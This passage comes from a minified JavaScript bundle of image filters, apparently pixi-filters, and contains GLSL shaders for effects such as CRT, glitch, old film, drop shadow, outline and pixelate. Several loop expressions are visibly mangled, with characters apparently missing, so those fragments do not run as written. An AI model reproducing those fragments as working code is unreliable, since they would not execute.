_sliceSize);\n float s1 = xOffset + (zSlice1 * _sliceSize);\n float yOffset = _sliceSize * 0.5 + color.g * (1.0 - _sliceSize);\n vec4 slice0Color = texture2D(colorMap, vec2(s0,yOffset));\n vec4 slice1Color = texture2D(colorMap, vec2(s1,yOffset));\n float zOffset = fract(color.b * innerWidth);\n adjusted = mix(slice0Color, slice1Color, zOffset);\n\n color.rgb *= color.a;\n }\n gl_FragColor = vec4(mix(color, adjusted, _mix).rgb, color.a);\n\n}",O=function(e){function n(t,n,r){void 0===n&&(n=!1),void 0===r&&(r=1),e.call(this,T,D),this._size=0,this._sliceSize=0,this._slicePixelSize=0,this._sliceInnerSize=0,this._scaleMode=null,this._nearest=!1,this.nearest=n,this.mix=r,this.colorMap=t}e&&(n.__proto__=e),n.prototype=Object.create(e&&e.prototype),n.prototype.constructor=n;var r={colorSize:{configurable:!0},colorMap:{configurable:!0},nearest:{configurable:!0}};return n.prototype.apply=function(e,t,n,r){this.uniforms._mix=this.mix,e.applyFilter(this,t,n,r)},r.colorSize.get=function(){return this._size},r.colorMap.get=function(){return this._colorMap},r.colorMap.set=function(e){e instanceof t.Texture||(e=t.Texture.from(e)),e&&e.baseTexture&&(e.baseTexture.scaleMode=this._scaleMode,e.baseTexture.mipmap=!1,this._size=e.height,this._sliceSize=1/this._size,this._slicePixelSize=this._sliceSize/this._size,this._sliceInnerSize=this._slicePixelSize*(this._size-1),this.uniforms._size=this._size,this.uniforms._sliceSize=this._sliceSize,this.uniforms._slicePixelSize=this._slicePixelSize,this.uniforms._sliceInnerSize=this._sliceInnerSize,this.uniforms.colorMap=e),this._colorMap=e},r.nearest.get=function(){return this._nearest},r.nearest.set=function(e){this._nearest=e,this._scaleMode=e?t.SCALE_MODES.NEAREST:t.SCALE_MODES.LINEAR;var n=this._colorMap;n&&n.baseTexture&&(n.baseTexture._glTextures={},n.baseTexture.scaleMode=this._scaleMode,n.baseTexture.mipmap=!1,n._updateID++,n.baseTexture.emit("update",n.baseTexture))},n.prototype.updateColorMap=function(){var e=this._colorMap;e&&e.baseTexture&&(e._updateID++,e.baseTexture.emit("update",e.baseTexture),this.colorMap=e)},n.prototype.destroy=function(t){this._colorMap&&this._colorMap.destroy(t),e.prototype.destroy.call(this)},Object.defineProperties(n.prototype,r),n}(t.Filter),P=n,M="varying vec2 vTextureCoord;\nuniform sampler2D uSampler;\nuniform vec3 originalColor;\nuniform vec3 newColor;\nuniform float epsilon;\nvoid main(void) {\n vec4 currentColor = texture2D(uSampler, vTextureCoord);\n vec3 colorDiff = originalColor - (currentColor.rgb / max(currentColor.a, 0.0000000001));\n float colorDistance = length(colorDiff);\n float doReplace = step(colorDistance, epsilon);\n gl_FragColor = vec4(mix(currentColor.rgb, (newColor + colorDiff) * currentColor.a, doReplace), currentColor.a);\n}\n",R=function(e){function n(t,n,r){void 0===t&&(t=16711680),void 0===n&&(n=0),void 0===r&&(r=.4),e.call(this,P,M),this.uniforms.originalColor=new Float32Array(3),this.uniforms.newColor=new Float32Array(3),this.originalColor=t,this.newColor=n,this.epsilon=r}e&&(n.__proto__=e),n.prototype=Object.create(e&&e.prototype),n.prototype.constructor=n;var r={originalColor:{configurable:!0},newColor:{configurable:!0},epsilon:{configurable:!0}};return r.originalColor.set=function(e){var n=this.uniforms.originalColor;"number"==typeof e?(t.utils.hex2rgb(e,n),this._originalColor=e):(n[0]=e[0],n[1]=e[1],n[2]=e[2],this._originalColor=t.utils.rgb2hex(n))},r.originalColor.get=function(){return this._originalColor},r.newColor.set=function(e){var n=this.uniforms.newColor;"number"==typeof e?(t.utils.hex2rgb(e,n),this._newColor=e):(n[0]=e[0],n[1]=e[1],n[2]=e[2],this._newColor=t.utils.rgb2hex(n))},r.newColor.get=function(){return this._newColor},r.epsilon.set=function(e){this.uniforms.epsilon=e},r.epsilon.get=function(){return this.uniforms.epsilon},Object.defineProperties(n.prototype,r),n}(t.Filter),j=n,L="precision mediump float;\n\nvarying mediump vec2 vTextureCoord;\n\nuniform sampler2D uSampler;\nuniform vec2 texelSize;\nuniform float matrix[9];\n\nvoid main(void)\n{\n vec4 c11 = texture2D(uSampler, vTextureCoord - texelSize); // top left\n vec4 c12 = texture2D(uSampler, vec2(vTextureCoord.x, vTextureCoord.y - texelSize.y)); // top center\n vec4 c13 = texture2D(uSampler, vec2(vTextureCoord.x + texelSize.x, vTextureCoord.y - texelSize.y)); // top right\n\n vec4 c21 = texture2D(uSampler, vec2(vTextureCoord.x - texelSize.x, vTextureCoord.y)); // mid left\n vec4 c22 = texture2D(uSampler, vTextureCoord); // mid center\n vec4 c23 = texture2D(uSampler, vec2(vTextureCoord.x + texelSize.x, vTextureCoord.y)); // mid right\n\n vec4 c31 = texture2D(uSampler, vec2(vTextureCoord.x - texelSize.x, vTextureCoord.y + texelSize.y)); // bottom left\n vec4 c32 = texture2D(uSampler, vec2(vTextureCoord.x, vTextureCoord.y + texelSize.y)); // bottom center\n vec4 c33 = texture2D(uSampler, vTextureCoord + texelSize); // bottom right\n\n gl_FragColor =\n c11 * matrix[0] + c12 * matrix[1] + c13 * matrix[2] +\n c21 * matrix[3] + c22 * matrix[4] + c23 * matrix[5] +\n c31 * matrix[6] + c32 * matrix[7] + c33 * matrix[8];\n\n gl_FragColor.a = c22.a;\n}\n",k=function(e){function t(t,n,r){void 0===n&&(n=200),void 0===r&&(r=200),e.call(this,j,L),this.uniforms.texelSize=new Float32Array(2),this.uniforms.matrix=new Float32Array(9),void 0!==t&&(this.matrix=t),this.width=n,this.height=r}e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t;var n={matrix:{configurable:!0},width:{configurable:!0},height:{configurable:!0}};return n.matrix.get=function(){return this.uniforms.matrix},n.matrix.set=function(e){var t=this;e.forEach(function(e,n){return t.uniforms.matrix[n]=e})},n.width.get=function(){return 1/this.uniforms.texelSize[0]},n.width.set=function(e){this.uniforms.texelSize[0]=1/e},n.height.get=function(){return 1/this.uniforms.texelSize[1]},n.height.set=function(e){this.uniforms.texelSize[1]=1/e},Object.defineProperties(t.prototype,n),t}(t.Filter),I=n,E="precision mediump float;\n\nvarying vec2 vTextureCoord;\n\nuniform sampler2D uSampler;\n\nvoid main(void)\n{\n float lum = length(texture2D(uSampler, vTextureCoord.xy).rgb);\n\n gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);\n\n if (lum < 1.00)\n {\n if (mod(gl_FragCoord.x + gl_FragCoord.y, 10.0) == 0.0)\n {\n gl_FragColor = vec4(0.0, 0.0, 0.0, 1.0);\n }\n }\n\n if (lum < 0.75)\n {\n if (mod(gl_FragCoord.x - gl_FragCoord.y, 10.0) == 0.0)\n {\n gl_FragColor = vec4(0.0, 0.0, 0.0, 1.0);\n }\n }\n\n if (lum < 0.50)\n {\n if (mod(gl_FragCoord.x + gl_FragCoord.y - 5.0, 10.0) == 0.0)\n {\n gl_FragColor = vec4(0.0, 0.0, 0.0, 1.0);\n }\n }\n\n if (lum < 0.3)\n {\n if (mod(gl_FragCoord.x - gl_FragCoord.y - 5.0, 10.0) == 0.0)\n {\n gl_FragColor = vec4(0.0, 0.0, 0.0, 1.0);\n }\n }\n}\n",B=function(e){function t(){e.call(this,I,E)}return e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t,t}(t.Filter),X=n,q="varying vec2 vTextureCoord;\nuniform sampler2D uSampler;\n\nuniform vec4 filterArea;\nuniform vec2 dimensions;\n\nconst float SQRT_2 = 1.414213;\n\nconst float light = 1.0;\n\nuniform float curvature;\nuniform float lineWidth;\nuniform float lineContrast;\nuniform bool verticalLine;\nuniform float noise;\nuniform float noiseSize;\n\nuniform float vignetting;\nuniform float vignettingAlpha;\nuniform float vignettingBlur;\n\nuniform float seed;\nuniform float time;\n\nfloat rand(vec2 co) {\n return fract(sin(dot(co.xy, vec2(12.9898, 78.233))) * 43758.5453);\n}\n\nvoid main(void)\n{\n vec2 pixelCoord = vTextureCoord.xy * filterArea.xy;\n vec2 coord = pixelCoord / dimensions;\n\n vec2 dir = vec2(coord - vec2(0.5, 0.5));\n\n float _c = curvature > 0. ? curvature : 1.;\n float k = curvature > 0. ?(length(dir * dir) * 0.25 * _c * _c + 0.935 * _c) : 1.;\n vec2 uv = dir * k;\n\n gl_FragColor = texture2D(uSampler, vTextureCoord);\n vec3 rgb = gl_FragColor.rgb;\n\n\n if (noise > 0.0 && noiseSize > 0.0)\n {\n pixelCoord.x = floor(pixelCoord.x / noiseSize);\n pixelCoord.y = floor(pixelCoord.y / noiseSize);\n float _noise = rand(pixelCoord * noiseSize * seed) - 0.5;\n rgb += _noise * noise;\n }\n\n if (lineWidth > 0.0) {\n float v = (verticalLine ? uv.x * dimensions.x : uv.y * dimensions.y) * min(1.0, 2.0 / lineWidth ) / _c;\n float j = 1. + cos(v * 1.2 - time) * 0.5 * lineContrast;\n rgb *= j;\n float segment = verticalLine ? mod((dir.x + .5) * dimensions.x, 4.) : mod((dir.y + .5) * dimensions.y, 4.);\n rgb *= 0.99 + ceil(segment) * 0.015;\n }\n\n if (vignetting > 0.0)\n {\n float outter = SQRT_2 - vignetting * SQRT_2;\n float darker = clamp((outter - length(dir) * SQRT_2) / ( 0.00001 + vignettingBlur * SQRT_2), 0.0, 1.0);\n rgb *= darker + (1.0 - darker) * (1.0 - vignettingAlpha);\n }\n\n gl_FragColor.rgb = rgb;\n}\n",N=function(e){function t(t){e.call(this,X,q),this.uniforms.dimensions=new Float32Array(2),this.time=0,this.seed=0,Object.assign(this,{curvature:1,lineWidth:1,lineContrast:.25,verticalLine:!1,noise:0,noiseSize:1,seed:0,vignetting:.3,vignettingAlpha:1,vignettingBlur:.3,time:0},t)}e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t;var n={curvature:{configurable:!0},lineWidth:{configurable:!0},lineContrast:{configurable:!0},verticalLine:{configurable:!0},noise:{configurable:!0},noiseSize:{configurable:!0},vignetting:{configurable:!0},vignettingAlpha:{configurable:!0},vignettingBlur:{configurable:!0}};return t.prototype.apply=function(e,t,n,r){this.uniforms.dimensions[0]=t.sourceFrame.width,this.uniforms.dimensions[1]=t.sourceFrame.height,this.uniforms.seed=this.seed,this.uniforms.time=this.time,e.applyFilter(this,t,n,r)},n.curvature.set=function(e){this.uniforms.curvature=e},n.curvature.get=function(){return this.uniforms.curvature},n.lineWidth.set=function(e){this.uniforms.lineWidth=e},n.lineWidth.get=function(){return this.uniforms.lineWidth},n.lineContrast.set=function(e){this.uniforms.lineContrast=e},n.lineContrast.get=function(){return this.uniforms.lineContrast},n.verticalLine.set=function(e){this.uniforms.verticalLine=e},n.verticalLine.get=function(){return this.uniforms.verticalLine},n.noise.set=function(e){this.uniforms.noise=e},n.noise.get=function(){return this.uniforms.noise},n.noiseSize.set=function(e){this.uniforms.noiseSize=e},n.noiseSize.get=function(){return this.uniforms.noiseSize},n.vignetting.set=function(e){this.uniforms.vignetting=e},n.vignetting.get=function(){return this.uniforms.vignetting},n.vignettingAlpha.set=function(e){this.uniforms.vignettingAlpha=e},n.vignettingAlpha.get=function(){return this.uniforms.vignettingAlpha},n.vignettingBlur.set=function(e){this.uniforms.vignettingBlur=e},n.vignettingBlur.get=function(){return this.uniforms.vignettingBlur},Object.defineProperties(t.prototype,n),t}(t.Filter),W=n,G="precision mediump float;\n\nvarying vec2 vTextureCoord;\nvarying vec4 vColor;\n\nuniform vec4 filterArea;\nuniform sampler2D uSampler;\n\nuniform float angle;\nuniform float scale;\n\nfloat pattern()\n{\n float s = sin(angle), c = cos(angle);\n vec2 tex = vTextureCoord * filterArea.xy;\n vec2 point = vec2(\n c * tex.x - s * tex.y,\n s * tex.x + c * tex.y\n ) * scale;\n return (sin(point.x) * sin(point.y)) * 4.0;\n}\n\nvoid main()\n{\n vec4 color = texture2D(uSampler, vTextureCoord);\n float average = (color.r + color.g + color.b) / 3.0;\n gl_FragColor = vec4(vec3(average * 10.0 - 5.0 + pattern()), color.a);\n}\n",K=function(e){function t(t,n){void 0===t&&(t=1),void 0===n&&(n=5),e.call(this,W,G),this.scale=t,this.angle=n}e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t;var n={scale:{configurable:!0},angle:{configurable:!0}};return n.scale.get=function(){return this.uniforms.scale},n.scale.set=function(e){this.uniforms.scale=e},n.angle.get=function(){return this.uniforms.angle},n.angle.set=function(e){this.uniforms.angle=e},Object.defineProperties(t.prototype,n),t}(t.Filter),Y=n,Q="varying vec2 vTextureCoord;\nuniform sampler2D uSampler;\nuniform float alpha;\nuniform vec3 color;\nvoid main(void){\n vec4 sample = texture2D(uSampler, vTextureCoord);\n\n // Un-premultiply alpha before applying the color\n if (sample.a > 0.0) {\n sample.rgb /= sample.a;\n }\n\n // Premultiply alpha again\n sample.rgb = color.rgb * sample.a;\n\n // alpha user alpha\n sample *= alpha;\n\n gl_FragColor = sample;\n}",U=function(e){function n(n){n&&n.constructor!==Object&&(console.warn("DropShadowFilter now uses options instead of (rotation, distance, blur, color, alpha)"),n={rotation:n},void 0!==arguments[1]&&(n.distance=arguments[1]),void 0!==arguments[2]&&(n.blur=arguments[2]),void 0!==arguments[3]&&(n.color=arguments[3]),void 0!==arguments[4]&&(n.alpha=arguments[4])),n=Object.assign({rotation:45,distance:5,color:0,alpha:.5,shadowOnly:!1,kernels:null,blur:2,quality:3,pixelSize:1,resolution:t.settings.RESOLUTION},n),e.call(this);var r=n.kernels,o=n.blur,i=n.quality,l=n.pixelSize,s=n.resolution;this._tintFilter=new t.Filter(Y,Q),this._tintFilter.uniforms.color=new Float32Array(4),this._tintFilter.resolution=s,this._blurFilter=r?new a(r):new a(o,i),this.pixelSize=l,this.resolution=s,this.targetTransform=new t.Matrix;var u=n.shadowOnly,c=n.rotation,f=n.distance,h=n.alpha,p=n.color;this.shadowOnly=u,this.rotation=c,this.distance=f,this.alpha=h,this.color=p,this._updatePadding()}e&&(n.__proto__=e),n.prototype=Object.create(e&&e.prototype),n.prototype.constructor=n;var r={resolution:{configurable:!0},distance:{configurable:!0},rotation:{configurable:!0},alpha:{configurable:!0},color:{configurable:!0},kernels:{configurable:!0},blur:{configurable:!0},quality:{configurable:!0},pixelSize:{configurable:!0}};return n.prototype.apply=function(e,t,n,r){var o=e.getRenderTarget();o.transform=this.targetTransform,this._tintFilter.apply(e,t,o,!0),o.transform=null,this._blurFilter.apply(e,o,n,r),!0!==this.shadowOnly&&e.applyFilter(this,t,n,!1),e.returnRenderTarget(o)},n.prototype._updatePadding=function(){this.padding=this.distance+2*this.blur},n.prototype._updateTargetTransform=function(){this.targetTransform.tx=this.distance*Math.cos(this.angle),this.targetTransform.ty=this.distance*Math.sin(this.angle)},r.resolution.get=function(){return this._resolution},r.resolution.set=function(e){this._resolution=e,this._tintFilter&&(this._tintFilter.resolution=e),this._blurFilter&&(this._blurFilter.resolution=e)},r.distance.get=function(){return this._distance},r.distance.set=function(e){this._distance=e,this._updatePadding(),this._updateTargetTransform()},r.rotation.get=function(){return this.angle/t.DEG_TO_RAD},r.rotation.set=function(e){this.angle=e*t.DEG_TO_RAD,this._updateTargetTransform()},r.alpha.get=function(){return this._tintFilter.uniforms.alpha},r.alpha.set=function(e){this._tintFilter.uniforms.alpha=e},r.color.get=function(){return t.utils.rgb2hex(this._tintFilter.uniforms.color)},r.color.set=function(e){t.utils.hex2rgb(e,this._tintFilter.uniforms.color)},r.kernels.get=function(){return this._blurFilter.kernels},r.kernels.set=function(e){this._blurFilter.kernels=e},r.blur.get=function(){return this._blurFilter.blur},r.blur.set=function(e){this._blurFilter.blur=e,this._updatePadding()},r.quality.get=function(){return this._blurFilter.quality},r.quality.set=function(e){this._blurFilter.quality=e},r.pixelSize.get=function(){return this._blurFilter.pixelSize},r.pixelSize.set=function(e){this._blurFilter.pixelSize=e},Object.defineProperties(n.prototype,r),n}(t.Filter),Z=n,V="precision mediump float;\n\nvarying vec2 vTextureCoord;\n\nuniform sampler2D uSampler;\nuniform float strength;\nuniform vec4 filterArea;\n\n\nvoid main(void)\n{\n\tvec2 onePixel = vec2(1.0 / filterArea);\n\n\tvec4 color;\n\n\tcolor.rgb = vec3(0.5);\n\n\tcolor -= texture2D(uSampler, vTextureCoord - onePixel) * strength;\n\tcolor += texture2D(uSampler, vTextureCoord + onePixel) * strength;\n\n\tcolor.rgb = vec3((color.r + color.g + color.b) / 3.0);\n\n\tfloat alpha = texture2D(uSampler, vTextureCoord).a;\n\n\tgl_FragColor = vec4(color.rgb * alpha, alpha);\n}\n",H=function(e){function t(t){void 0===t&&(t=5),e.call(this,Z,V),this.strength=t}e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t;var n={strength:{configurable:!0}};return n.strength.get=function(){return this.uniforms.strength},n.strength.set=function(e){this.uniforms.strength=e},Object.defineProperties(t.prototype,n),t}(t.Filter),$=n,J="// precision highp float;\n\nvarying vec2 vTextureCoord;\nuniform sampler2D uSampler;\n\nuniform vec4 filterArea;\nuniform vec4 filterClamp;\nuniform vec2 dimensions;\nuniform float aspect;\n\nuniform sampler2D displacementMap;\nuniform float offset;\nuniform float sinDir;\nuniform float cosDir;\nuniform int fillMode;\n\nuniform float seed;\nuniform vec2 red;\nuniform vec2 green;\nuniform vec2 blue;\n\nconst int TRANSPARENT = 0;\nconst int ORIGINAL = 1;\nconst int LOOP = 2;\nconst int CLAMP = 3;\nconst int MIRROR = 4;\n\nvoid main(void)\n{\n vec2 coord = (vTextureCoord * filterArea.xy) / dimensions;\n\n if (coord.x > 1.0 || coord.y > 1.0) {\n return;\n }\n\n float cx = coord.x - 0.5;\n float cy = (coord.y - 0.5) * aspect;\n float ny = (-sinDir * cx + cosDir * cy) / aspect + 0.5;\n\n // displacementMap: repeat\n // ny = ny > 1.0 ? ny - 1.0 : (ny < 0.0 ? 1.0 + ny : ny);\n\n // displacementMap: mirror\n ny = ny > 1.0 ? 2.0 - ny : (ny < 0.0 ? -ny : ny);\n\n vec4 dc = texture2D(displacementMap, vec2(0.5, ny));\n\n float displacement = (dc.r - dc.g) * (offset / filterArea.x);\n\n coord = vTextureCoord + vec2(cosDir * displacement, sinDir * displacement * aspect);\n\n if (fillMode == CLAMP) {\n coord = clamp(coord, filterClamp.xy, filterClamp.zw);\n } else {\n if( coord.x > filterClamp.z ) {\n if (fillMode == ORIGINAL) {\n gl_FragColor = texture2D(uSampler, vTextureCoord);\n return;\n } else if (fillMode == LOOP) {\n coord.x -= filterClamp.z;\n } else if (fillMode == MIRROR) {\n coord.x = filterClamp.z * 2.0 - coord.x;\n } else {\n gl_FragColor = vec4(0., 0., 0., 0.);\n return;\n }\n } else if( coord.x < filterClamp.x ) {\n if (fillMode == ORIGINAL) {\n gl_FragColor = texture2D(uSampler, vTextureCoord);\n return;\n } else if (fillMode == LOOP) {\n coord.x += filterClamp.z;\n } else if (fillMode == MIRROR) {\n coord.x *= -filterClamp.z;\n } else {\n gl_FragColor = vec4(0., 0., 0., 0.);\n return;\n }\n }\n\n if( coord.y > filterClamp.w ) {\n if (fillMode == ORIGINAL) {\n gl_FragColor = texture2D(uSampler, vTextureCoord);\n return;\n } else if (fillMode == LOOP) {\n coord.y -= filterClamp.w;\n } else if (fillMode == MIRROR) {\n coord.y = filterClamp.w * 2.0 - coord.y;\n } else {\n gl_FragColor = vec4(0., 0., 0., 0.);\n return;\n }\n } else if( coord.y < filterClamp.y ) {\n if (fillMode == ORIGINAL) {\n gl_FragColor = texture2D(uSampler, vTextureCoord);\n return;\n } else if (fillMode == LOOP) {\n coord.y += filterClamp.w;\n } else if (fillMode == MIRROR) {\n coord.y *= -filterClamp.w;\n } else {\n gl_FragColor = vec4(0., 0., 0., 0.);\n return;\n }\n }\n }\n\n gl_FragColor.r = texture2D(uSampler, coord + red * (1.0 - seed * 0.4) / filterArea.xy).r;\n gl_FragColor.g = texture2D(uSampler, coord + green * (1.0 - seed * 0.3) / filterArea.xy).g;\n gl_FragColor.b = texture2D(uSampler, coord + blue * (1.0 - seed * 0.2) / filterArea.xy).b;\n gl_FragColor.a = texture2D(uSampler, coord).a;\n}\n",ee=function(e){function n(n){void 0===n&&(n={}),e.call(this,$,J),this.uniforms.dimensions=new Float32Array(2),n=Object.assign({slices:5,offset:100,direction:0,fillMode:0,average:!1,seed:0,red:[0,0],green:[0,0],blue:[0,0],minSize:8,sampleSize:512},n),this.direction=n.direction,this.red=n.red,this.green=n.green,this.blue=n.blue,this.offset=n.offset,this.fillMode=n.fillMode,this.average=n.average,this.seed=n.seed,this.minSize=n.minSize,this.sampleSize=n.sampleSize,this._canvas=document.createElement("canvas"),this._canvas.width=4,this._canvas.height=this.sampleSize,this.texture=t.Texture.fromCanvas(this._canvas,t.SCALE_MODES.NEAREST),this._slices=0,this.slices=n.slices}e&&(n.__proto__=e),n.prototype=Object.create(e&&e.prototype),n.prototype.constructor=n;var r={sizes:{configurable:!0},offsets:{configurable:!0},slices:{configurable:!0},direction:{configurable:!0},red:{configurable:!0},green:{configurable:!0},blue:{configurable:!0}};return n.prototype.apply=function(e,t,n,r){var o=t.sourceFrame.width,i=t.sourceFrame.height;this.uniforms.dimensions[0]=o,this.uniforms.dimensions[1]=i,this.uniforms.aspect=i/o,this.uniforms.seed=this.seed,this.uniforms.offset=this.offset,this.uniforms.fillMode=this.fillMode,e.applyFilter(this,t,n,r)},n.prototype._randomizeSizes=function(){var e=this._sizes,t=this._slices-1,n=this.sampleSize,r=Math.min(this.minSize/n,.9/this._slices);if(this.average){for(var o=this._slices,i=1,l=0;l0;t--){var n=Math.random()*t>>0,r=e[t];e[t]=e[n],e[n]=r}},n.prototype._randomizeOffsets=function(){for(var e=0;e0?e:0,a=e<0?-e:0;r.fillStyle="rgba("+s+", "+a+", 0, 1)",r.fillRect(0,o>>0,t,l+1>>0),o+=l}n.baseTexture.update(),this.uniforms.displacementMap=n},r.sizes.set=function(e){for(var t=Math.min(this._slices,e.length),n=0;nthis._maxColors)throw"Length of replacements ("+o+") exceeds the maximum colors length ("+this._maxColors+")";n[3*o]=-1;for(var i=0;i 0.5) then: 1 - 2 * (1 - dst) * (1 - src)\n return vec3((dst.x <= 0.5) ? (2.0 * src.x * dst.x) : (1.0 - 2.0 * (1.0 - dst.x) * (1.0 - src.x)),\n (dst.y <= 0.5) ? (2.0 * src.y * dst.y) : (1.0 - 2.0 * (1.0 - dst.y) * (1.0 - src.y)),\n (dst.z <= 0.5) ? (2.0 * src.z * dst.z) : (1.0 - 2.0 * (1.0 - dst.z) * (1.0 - src.z)));\n}\n\n\nvoid main()\n{\n gl_FragColor = texture2D(uSampler, vTextureCoord);\n vec3 color = gl_FragColor.rgb;\n\n if (sepia > 0.0)\n {\n float gray = (color.x + color.y + color.z) / 3.0;\n vec3 grayscale = vec3(gray);\n\n color = Overlay(SEPIA_RGB, grayscale);\n\n color = grayscale + sepia * (color - grayscale);\n }\n\n vec2 coord = vTextureCoord * filterArea.xy / dimensions.xy;\n\n if (vignetting > 0.0)\n {\n float outter = SQRT_2 - vignetting * SQRT_2;\n vec2 dir = vec2(vec2(0.5, 0.5) - coord);\n dir.y *= dimensions.y / dimensions.x;\n float darker = clamp((outter - length(dir) * SQRT_2) / ( 0.00001 + vignettingBlur * SQRT_2), 0.0, 1.0);\n color.rgb *= darker + (1.0 - darker) * (1.0 - vignettingAlpha);\n }\n\n if (scratchDensity > seed && scratch != 0.0)\n {\n float phase = seed * 256.0;\n float s = mod(floor(phase), 2.0);\n float dist = 1.0 / scratchDensity;\n float d = distance(coord, vec2(seed * dist, abs(s - seed * dist)));\n if (d < seed * 0.6 + 0.4)\n {\n highp float period = scratchDensity * 10.0;\n\n float xx = coord.x * period + phase;\n float aa = abs(mod(xx, 0.5) * 4.0);\n float bb = mod(floor(xx / 0.5), 2.0);\n float yy = (1.0 - bb) * aa + bb * (2.0 - aa);\n\n float kk = 2.0 * period;\n float dw = scratchWidth / dimensions.x * (0.75 + seed);\n float dh = dw * kk;\n\n float tine = (yy - (2.0 - dh));\n\n if (tine > 0.0) {\n float _sign = sign(scratch);\n\n tine = s * tine / period + scratch + 0.1;\n tine = clamp(tine + 1.0, 0.5 + _sign * 0.5, 1.5 + _sign * 0.5);\n\n color.rgb *= tine;\n }\n }\n }\n\n if (noise > 0.0 && noiseSize > 0.0)\n {\n vec2 pixelCoord = vTextureCoord.xy * filterArea.xy;\n pixelCoord.x = floor(pixelCoord.x / noiseSize);\n pixelCoord.y = floor(pixelCoord.y / noiseSize);\n // vec2 d = pixelCoord * noiseSize * vec2(1024.0 + seed * 512.0, 1024.0 - seed * 512.0);\n // float _noise = snoise(d) * 0.5;\n float _noise = rand(pixelCoord * noiseSize * seed) - 0.5;\n color += _noise * noise;\n }\n\n gl_FragColor.rgb = color;\n}\n",ge=function(e){function t(t,n){void 0===n&&(n=0),e.call(this,de,me),this.uniforms.dimensions=new Float32Array(2),"number"==typeof t?(this.seed=t,t=null):this.seed=n,Object.assign(this,{sepia:.3,noise:.3,noiseSize:1,scratch:.5,scratchDensity:.3,scratchWidth:1,vignetting:.3,vignettingAlpha:1,vignettingBlur:.3},t)}e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t;var n={sepia:{configurable:!0},noise:{configurable:!0},noiseSize:{configurable:!0},scratch:{configurable:!0},scratchDensity:{configurable:!0},scratchWidth:{configurable:!0},vignetting:{configurable:!0},vignettingAlpha:{configurable:!0},vignettingBlur:{configurable:!0}};return t.prototype.apply=function(e,t,n,r){this.uniforms.dimensions[0]=t.sourceFrame.width,this.uniforms.dimensions[1]=t.sourceFrame.height,this.uniforms.seed=this.seed,e.applyFilter(this,t,n,r)},n.sepia.set=function(e){this.uniforms.sepia=e},n.sepia.get=function(){return this.uniforms.sepia},n.noise.set=function(e){this.uniforms.noise=e},n.noise.get=function(){return this.uniforms.noise},n.noiseSize.set=function(e){this.uniforms.noiseSize=e},n.noiseSize.get=function(){return this.uniforms.noiseSize},n.scratch.set=function(e){this.uniforms.scratch=e},n.scratch.get=function(){return this.uniforms.scratch},n.scratchDensity.set=function(e){this.uniforms.scratchDensity=e},n.scratchDensity.get=function(){return this.uniforms.scratchDensity},n.scratchWidth.set=function(e){this.uniforms.scratchWidth=e},n.scratchWidth.get=function(){return this.uniforms.scratchWidth},n.vignetting.set=function(e){this.uniforms.vignetting=e},n.vignetting.get=function(){return this.uniforms.vignetting},n.vignettingAlpha.set=function(e){this.uniforms.vignettingAlpha=e},n.vignettingAlpha.get=function(){return this.uniforms.vignettingAlpha},n.vignettingBlur.set=function(e){this.uniforms.vignettingBlur=e},n.vignettingBlur.get=function(){return this.uniforms.vignettingBlur},Object.defineProperties(t.prototype,n),t}(t.Filter),ve=n,xe="varying vec2 vTextureCoord;\nuniform sampler2D uSampler;\n\nuniform vec2 thickness;\nuniform vec4 outlineColor;\nuniform vec4 filterClamp;\n\nconst float DOUBLE_PI = 3.14159265358979323846264 * 2.;\n\nvoid main(void) {\n vec4 ownColor = texture2D(uSampler, vTextureCoord);\n vec4 curColor;\n float maxAlpha = 0.;\n vec2 displaced;\n for (float angle = 0.; angle <= DOUBLE_PI; angle += ${angleStep}) {\n displaced.x = vTextureCoord.x + thickness.x * cos(angle);\n displaced.y = vTextureCoord.y + thickness.y * sin(angle);\n curColor = texture2D(uSampler, clamp(displaced, filterClamp.xy, filterClamp.zw));\n maxAlpha = max(maxAlpha, curColor.a);\n }\n float resultAlpha = max(maxAlpha, ownColor.a);\n gl_FragColor = vec4((ownColor.rgb + outlineColor.rgb * (1. - ownColor.a)) * resultAlpha, resultAlpha);\n}\n",ye=function(e){function n(t,r,o){void 0===t&&(t=1),void 0===r&&(r=0),void 0===o&&(o=.1);var i=Math.max(o*n.MAX_SAMPLES,n.MIN_SAMPLES),l=(2*Math.PI/i).toFixed(7);e.call(this,ve,xe.replace(/\$\{angleStep\}/,l)),this.uniforms.thickness=new Float32Array([0,0]),this.thickness=t,this.uniforms.outlineColor=new Float32Array([0,0,0,1]),this.color=r,this.quality=o}e&&(n.__proto__=e),n.prototype=Object.create(e&&e.prototype),n.prototype.constructor=n;var r={color:{configurable:!0}};return n.prototype.apply=function(e,t,n,r){this.uniforms.thickness[0]=this.thickness/t.size.width,this.uniforms.thickness[1]=this.thickness/t.size.height,e.applyFilter(this,t,n,r)},r.color.get=function(){return t.utils.rgb2hex(this.uniforms.outlineColor)},r.color.set=function(e){t.utils.hex2rgb(e,this.uniforms.outlineColor)},Object.defineProperties(n.prototype,r),n}(t.Filter);ye.MIN_SAMPLES=1,ye.MAX_SAMPLES=100;var be=n,_e="precision mediump float;\n\nvarying vec2 vTextureCoord;\n\nuniform vec2 size;\nuniform sampler2D uSampler;\n\nuniform vec4 filterArea;\n\nvec2 mapCoord( vec2 coord )\n{\n coord *= filterArea.xy;\n coord += filterArea.zw;\n\n return coord;\n}\n\nvec2 unmapCoord( vec2 coord )\n{\n coord -= filterArea.zw;\n coord /= filterArea.xy;\n\n return coord;\n}\n\nvec2 pixelate(vec2 coord, vec2 size)\n{\n\treturn floor( coord / size ) * size;\n}\n\nvoid main(void)\n{\n vec2 coord = mapCoord(vTextureCoord);\n\n coord = pixelate(coord, size);\n\n coord = unmapCoord(coord);\n\n gl_FragColor = texture2D(uSampler, coord);\n}\n",Ce=function(e){function t(t){void 0===t&&(t=10),e.call(this,be,_e),this.size=t}e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t;var n={size:{configurable:!0}};return n.size.get=function(){return this.uniforms.size},n.size.set=function(e){"number"==typeof e&&(e=[e,e]),this.uniforms.size=e},Object.defineProperties(t.prototype,n),t}(t.Filter),Se=n,Fe="varying 